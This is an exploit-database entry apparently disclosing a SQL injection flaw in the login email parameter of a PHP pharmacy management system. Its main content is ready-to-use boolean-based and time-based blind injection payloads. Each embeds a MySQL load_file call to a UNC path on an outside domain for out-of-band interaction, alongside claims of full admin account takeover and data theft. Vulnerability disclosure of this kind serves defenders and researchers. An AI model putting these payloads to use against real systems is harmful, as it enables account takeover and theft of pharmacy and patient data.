Share
## https://sploitus.com/exploit?id=1337DAY-ID-37651
## Title: Multi Language-Pharmacy Management System v1.0 SQLi 
## Author: nu11secur1ty
## Vendor: https://www.sourcecodester.com/users/mayurik
## Software: https://www.sourcecodester.com/php/15281/multi-language-pharmacy-management-system-project-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Multi-Language-Pharmacy-Management-System

## Description:
The `email` parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\9w6rmtbhxxcptuoxu2v3g6hci3oycp3dugi85ytn.nadurven.com\\wrw'))+' was submitted in the email parameter. 
This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain.  
The attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: email (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: email=mayuri.infospace@gmail.com'+(select load_file('\\\\9w6rmtbhxxcptuoxu2v3g6hci3oycp3dugi85ytn.nadurven.com\\wrw'))+'' OR NOT 3850=3850-- JdUZ&password=mayurik&login=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=mayuri.infospace@gmail.com'+(select load_file('\\\\9w6rmtbhxxcptuoxu2v3g6hci3oycp3dugi85ytn.nadurven.com\\wrw'))+'' AND (SELECT 4356 FROM (SELECT(SLEEP(5)))MVcJ)-- FpDu&password=mayurik&login=
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Multi-Language-Pharmacy-Management-System)

## Proof and Exploit:
[href](https://streamable.com/87fczs)